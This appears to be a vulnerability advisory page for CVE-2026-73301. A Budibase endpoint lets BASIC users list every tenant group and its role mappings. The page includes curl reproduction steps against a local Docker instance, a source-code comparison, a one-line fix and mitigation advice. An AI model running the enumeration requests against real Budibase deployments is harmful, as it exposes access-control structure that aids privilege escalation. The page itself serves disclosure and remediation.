CVE-2026-73301 is a medium-severity (CVSS 4.3) CWE-862 vulnerability in @budibase/server. No vendor fix is recorded yet; mitigation options are listed below.
Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-73301.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-73301 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@budibase/servernpmDescription
Summary
The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.
Steps to Reproduce
1. Start Budibase
docker run -d --name budibase-poc -p 10000:80 \
-e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
-e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
-e API_ENCRYPTION_KEY=api_enc_key_test123456 \
-e [email protected] \
-e BB_ADMIN_USER_PASSWORD=TestPassword123! \
budibase/budibase:latest
until curl -sf http://localhost:10000/health; do sleep 5; done
2. Login as admin, create a user group, create a BASIC user
# Login as admin
curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"TestPassword123!"}'
# Create a user group (requires license with user groups feature, or use Budibase Cloud)
# On self-hosted without license, groups may not be available
# If available:
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \
-H "Content-Type: application/json" \
-d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}'
# Create a BASIC user (no builder, no admin)
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}'
3. Login as BASIC user and enumerate all groups (the vulnerability)
# Login as BASIC user
curl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"BasicPass123!"}'
# List ALL groups (should return 403, but returns 200 with full data)
curl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups
Expected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires builderOrAdmin)
Actual: 200 OK with full group data including role mappings, member lists, and builder flags.
Standalone verification (code review)
# In the budibase source tree:
grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.ts
Output shows the list endpoint has NO auth middleware:
.get("/api/global/groups", # <-- NO auth.builderOrAdmin
requireFeature(Feature.USER_GROUPS),
controller.fetch
Compare with the single-group endpoint directly below:
.get("/api/global/groups/:groupId", # <-- HAS auth.builderOrAdmin
auth.builderOrAdmin,
requireFeature(Feature.USER_GROUPS),
controller.getById
Root Cause
File: packages/worker/src/api/routes/global/groups.ts, lines 40-44
The list endpoint is the ONLY group endpoint without RBAC:
| Endpoint | Auth Middleware |
|---|---|
POST /api/global/groups | auth.adminOnly |
DELETE /api/global/groups/:id/:rev | auth.adminOnly |
GET /api/global/groups/:id | auth.builderOrAdmin |
GET /api/global/groups/:id/users | auth.builderOrAdmin |
GET /api/global/groups | NONE |
Impact
A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.
Suggested Fix
router.get("/api/global/groups",
+ auth.builderOrAdmin,
requireFeature(Feature.USER_GROUPS),
controller.fetch
)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @budibase/server | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of @budibase/server has shipped for CVE-2026-73301 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Frequently Asked Questions
Is CVE-2026-73301 in your dependencies?
Find it across npm, including transitive dependencies.